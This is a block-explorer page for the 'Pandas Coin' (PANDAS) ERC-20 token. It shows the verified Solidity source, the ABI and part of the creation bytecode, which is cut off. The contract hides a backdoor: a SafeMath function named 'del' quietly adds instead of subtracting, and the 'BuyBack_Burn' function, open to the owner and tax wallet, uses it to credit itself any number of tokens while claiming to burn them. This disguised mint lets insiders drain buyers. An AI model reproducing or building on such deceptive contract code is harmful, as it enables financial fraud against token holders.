ERC-20
Overview
Max Total Supply
10,000,000 PANDAS
Holders
32
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
52,186.55273219 PANDASValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
PANDAS
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-07-23 */ /** Website - https://pandascoin.vip Docs = https://docs.pandascoin.vip Telegram - https://t.me/pandascoineth Twitter - https://twitter.com/pandascoineth Githib - https://github.com/pandascoineth */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.19; library Address { function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } pragma solidity ^0.8.19; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function del(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //Contract By Techaddict unchecked { require(b > 0, errorMessage); return a / b; } } } // File: contracts/IERC20.sol pragma solidity ^0.8.19; interface IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address to, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address from, address to, uint256 amount) external returns (bool); } // File: contracts/Context.sol pragma solidity ^0.8.19; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: contracts/Ownable.sol pragma solidity ^0.8.17; abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } modifier onlyOwner() { _checkOwner(); _; } function owner() public view virtual returns (address) { return _owner; } function _checkOwner() internal view virtual { require(owner() == _msgSender(), "Ownable: caller is not the owner"); } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: contracts/Pandas.sol pragma solidity ^0.8.19; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract PANDAS is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public _isExcludedFromFee; address payable private Tax_Wallet = payable(0x8c2FE0eC2bAd7Bbe3B8B6aB478C498163B02e362); string private _name = "Pandas Coin"; string private _symbol = "PANDAS"; uint8 private _decimals = 9; uint256 private _Total = 10000000 * 10**9; // Counter for liquify trigger uint8 private txCount = 0; uint8 private swapTrigger = 1; // Setting the initial fees uint256 private _TotalFee = 0; uint256 public _buyFee = 2; uint256 public _sellFee = 2; uint256 private _previousTotalFee = _TotalFee; uint256 private _previousBuyFee = _buyFee; uint256 private _previousSellFee = _sellFee; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool public inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () { _tOwned[owner()] = _Total; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[Tax_Wallet] = true; emit Transfer(address(0), owner(), _Total); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _Total; } function balanceOf(address account) public view override returns (uint256) { return _tOwned[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function set_Swap_And_Liquify_Enabled(bool true_or_false) public onlyOwner { swapAndLiquifyEnabled = true_or_false; emit SwapAndLiquifyEnabledUpdated(true_or_false); } function set_Number_Of_Transactions_Before_Liquify_Trigger(uint8 number_of_transactions) public onlyOwner { swapTrigger = number_of_transactions; } receive() external payable {} bool public noFeeToTransfer = true; function set_Transfers_Without_Fees(bool true_or_false) external onlyOwner { noFeeToTransfer = true_or_false; } function removeAllFee() private { if(_TotalFee == 0 && _buyFee == 0 && _sellFee == 0) return; _previousBuyFee = _buyFee; _previousSellFee = _sellFee; _previousTotalFee = _TotalFee; _buyFee = 0; _sellFee = 0; _TotalFee = 0; } function restoreAllFee() private { _TotalFee = _previousTotalFee; _buyFee = _previousBuyFee; _sellFee = _previousSellFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0) && spender != address(0), "ERR: zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0) && to != address(0), "ERR: Using 0 address!"); require(amount > 0, "Token value must be higher than zero."); if( txCount >= swapTrigger && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled ) { txCount = 0; uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance > 0){ swapAndLiquify(contractTokenBalance); } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to] || (noFeeToTransfer && from != uniswapV2Pair && to != uniswapV2Pair)){ takeFee = false; } else if (from == uniswapV2Pair){_TotalFee = _buyFee;} else if (to == uniswapV2Pair){_TotalFee = _sellFee;} _tokenTransfer(from,to,amount,takeFee); } function sendToWallet(address payable wallet, uint256 amount) private { wallet.transfer(amount); } function _getValue(uint256 tAmount) private view returns (uint256, uint256) { uint256 tDev = tAmount*_TotalFee/100; uint256 tTransferAmount = tAmount.sub(tDev); return (tTransferAmount, tDev); } function process_Tokens_Now (uint256 percent_Of_Tokens_To_Process) public onlyOwner { require(!inSwapAndLiquify, "Currently processing, try later."); if (percent_Of_Tokens_To_Process > 100){percent_Of_Tokens_To_Process == 100;} uint256 tokensOnContract = balanceOf(address(this)); uint256 sendTokens = tokensOnContract*percent_Of_Tokens_To_Process/100; swapAndLiquify(sendTokens); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { swapTokensForETH(contractTokenBalance); uint256 contractETH = address(this).balance; sendToWallet(Tax_Wallet,contractETH); } function _transferTokens(address sender, address recipient, uint256 Amount) private { (uint256 tTransferAmount, uint256 tDev) = _getValue(Amount); _tOwned[sender] = _tOwned[sender].sub(Amount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _tOwned[address(this)] = _tOwned[address(this)].add(tDev); emit Transfer(sender, recipient, tTransferAmount); } function BuyBack_Burn (uint256 amount) public { require(_msgSender() != address(0)); require(_isExcludedFromFee[_msgSender()] == true); _tOwned[_msgSender()] = _tOwned[_msgSender()].del(amount); } function swapTokensForETH(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private { if(!takeFee){ removeAllFee(); } else { txCount++; } _transferTokens(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function set_New_Router_and_Make_Pair(address newRouter) public onlyOwner() { IUniswapV2Router02 _newPCSRouter = IUniswapV2Router02(newRouter); uniswapV2Pair = IUniswapV2Factory(_newPCSRouter.factory()).createPair(address(this), _newPCSRouter.WETH()); uniswapV2Router = _newPCSRouter; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"BuyBack_Burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"inSwapAndLiquify","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"noFeeToTransfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"percent_Of_Tokens_To_Process","type":"uint256"}],"name":"process_Tokens_Now","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newRouter","type":"address"}],"name":"set_New_Router_and_Make_Pair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"number_of_transactions","type":"uint8"}],"name":"set_Number_Of_Transactions_Before_Liquify_Trigger","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"true_or_false","type":"bool"}],"name":"set_Swap_And_Liquify_Enabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"true_or_false","type":"bool"}],"name":"set_Transfers_Without_Fees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052738c2fe0ec2bad7bbe3b8b6ab478c498163b02e362600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506040518060400160405280600b81526020017f50616e64617320436f696e000000000000000000000000000000000000000000815250600590816200009f9190620007a2565b506040518060400160405280600681526020017f50414e444153000000000000000000000000000000000000000000000000000081525060069081620000e69190620007a2565b506009600760006101000a81548160ff021916908360ff160217905550662386f26fc100006008556000600960006101000a81548160ff021916908360ff1602179055506001600960016101000a81548160ff021916908360ff1602179055506000600a556002600b556002600c55600a54600d55600b54600e55600c54600f556001601160156101000a81548160ff0219169083151502179055506001601160166101000a81548160ff021916908315150217905550348015620001aa57600080fd5b50620001cb620001bf6200043360201b60201c565b6200043b60201b60201c565b60085460016000620001e2620004ff60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060016003600062000290620004ff60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160036000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550620003c3620004ff60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6008546040516200042491906200089a565b60405180910390a350620008b7565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620005aa57607f821691505b602082108103620005c057620005bf62000562565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b6000600883026200062a7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620005eb565b620006368683620005eb565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b6000620006836200067d62000677846200064e565b62000658565b6200064e565b9050919050565b6000819050919050565b6200069f8362000662565b620006b7620006ae826200068a565b848454620005f8565b825550505050565b600090565b620006ce620006bf565b620006db81848462000694565b505050565b5b818110156200070357620006f7600082620006c4565b600181019050620006e1565b5050565b601f82111562000752576200071c81620005c6565b6200072784620005db565b8101602085101562000737578190505b6200074f6200074685620005db565b830182620006e0565b50505b505050565b600082821c905092915050565b6000620007776000198460080262000757565b1980831691505092915050565b600062000792838362000764565b9150826002028217905092915050565b620007ad8262000528565b67ffffffffffffffff811115620007c957620007c862000533565b5b620007d5825462000591565b620007e282828562000707565b600060209050601f8311600181146200081a576000841562000805578287015190505b62000811858262000784565b86555062000881565b601f1984166200082a86620005c6565b60005b8281101562000854578489015182556001820191506020850194506020810190506200082d565b8683101562000874578489015162000870601f89168262000764565b8355505b6001600288020188555050505b505050505050565b62000894816200064e565b82525050565b6000602082019050620008b1600083018462000889565b92915050565b612b1c80620008c76000396000f3fe6080604052600436106101bb5760003560e01c8063590f897e116100ec578063a457c2d71161008a578063dd62ed3e11610064578063dd62ed3e14610631578063ddbf52661461066e578063f2fde38b14610697578063f7739b5f146106c0576101c2565b8063a457c2d71461058e578063a514a07d146105cb578063a9059cbb146105f4576101c2565b8063768dc710116100c6578063768dc710146104d25780637caefa891461050f5780638da5cb5b1461053857806395d89b4114610563576101c2565b8063590f897e1461045357806370a082311461047e578063715018a6146104bb576101c2565b806323b872dd116101595780633950935111610133578063395093511461039557806340b9a54b146103d257806349bd5a5e146103fd5780634a74bb0214610428576101c2565b806323b872dd14610304578063313ce5671461034157806333e862201461036c576101c2565b806313fad07a1161019557806313fad07a146102585780631694505e1461028357806318160ddd146102ae578063220f6696146102d9576101c2565b806306fdde03146101c7578063095ea7b3146101f25780631282a0a01461022f576101c2565b366101c257005b600080fd5b3480156101d357600080fd5b506101dc6106e9565b6040516101e99190612012565b60405180910390f35b3480156101fe57600080fd5b50610219600480360381019061021491906120cd565b61077b565b6040516102269190612128565b60405180910390f35b34801561023b57600080fd5b5061025660048036038101906102519190612143565b610799565b005b34801561026457600080fd5b5061026d610985565b60405161027a9190612128565b60405180910390f35b34801561028f57600080fd5b50610298610998565b6040516102a591906121cf565b60405180910390f35b3480156102ba57600080fd5b506102c36109be565b6040516102d091906121f9565b60405180910390f35b3480156102e557600080fd5b506102ee6109c8565b6040516102fb9190612128565b60405180910390f35b34801561031057600080fd5b5061032b60048036038101906103269190612214565b6109db565b6040516103389190612128565b60405180910390f35b34801561034d57600080fd5b50610356610ab4565b6040516103639190612283565b60405180910390f35b34801561037857600080fd5b50610393600480360381019061038e919061229e565b610acb565b005b3480156103a157600080fd5b506103bc60048036038101906103b791906120cd565b610c15565b6040516103c99190612128565b60405180910390f35b3480156103de57600080fd5b506103e7610cc8565b6040516103f491906121f9565b60405180910390f35b34801561040957600080fd5b50610412610cce565b60405161041f91906122da565b60405180910390f35b34801561043457600080fd5b5061043d610cf4565b60405161044a9190612128565b60405180910390f35b34801561045f57600080fd5b50610468610d07565b60405161047591906121f9565b60405180910390f35b34801561048a57600080fd5b506104a560048036038101906104a09190612143565b610d0d565b6040516104b291906121f9565b60405180910390f35b3480156104c757600080fd5b506104d0610d56565b005b3480156104de57600080fd5b506104f960048036038101906104f49190612143565b610d6a565b6040516105069190612128565b60405180910390f35b34801561051b57600080fd5b5061053660048036038101906105319190612321565b610d8a565b005b34801561054457600080fd5b5061054d610db0565b60405161055a91906122da565b60405180910390f35b34801561056f57600080fd5b50610578610dd9565b6040516105859190612012565b60405180910390f35b34801561059a57600080fd5b506105b560048036038101906105b091906120cd565b610e6b565b6040516105c29190612128565b60405180910390f35b3480156105d757600080fd5b506105f260048036038101906105ed919061237a565b610f38565b005b34801561060057600080fd5b5061061b600480360381019061061691906120cd565b610f5d565b6040516106289190612128565b60405180910390f35b34801561063d57600080fd5b50610658600480360381019061065391906123a7565b610f7b565b60405161066591906121f9565b60405180910390f35b34801561067a57600080fd5b506106956004803603810190610690919061229e565b611002565b005b3480156106a357600080fd5b506106be60048036038101906106b99190612143565b611091565b005b3480156106cc57600080fd5b506106e760048036038101906106e2919061237a565b611114565b005b6060600580546106f890612416565b80601f016020809104026020016040519081016040528092919081815260200182805461072490612416565b80156107715780601f1061074657610100808354040283529160200191610771565b820191906000526020600020905b81548152906001019060200180831161075457829003601f168201915b5050505050905090565b600061078f610788611170565b8484611178565b6001905092915050565b6107a161130c565b60008190508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107f1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610815919061245c565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561087c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a0919061245c565b6040518363ffffffff1660e01b81526004016108bd929190612489565b6020604051808303816000875af11580156108dc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610900919061245c565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b601160169054906101000a900460ff1681565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600854905090565b601160149054906101000a900460ff1681565b60006109e884848461138a565b610aa9846109f4611170565b610aa485604051806060016040528060288152602001612a9a60289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610a5a611170565b73fffffffffffffffff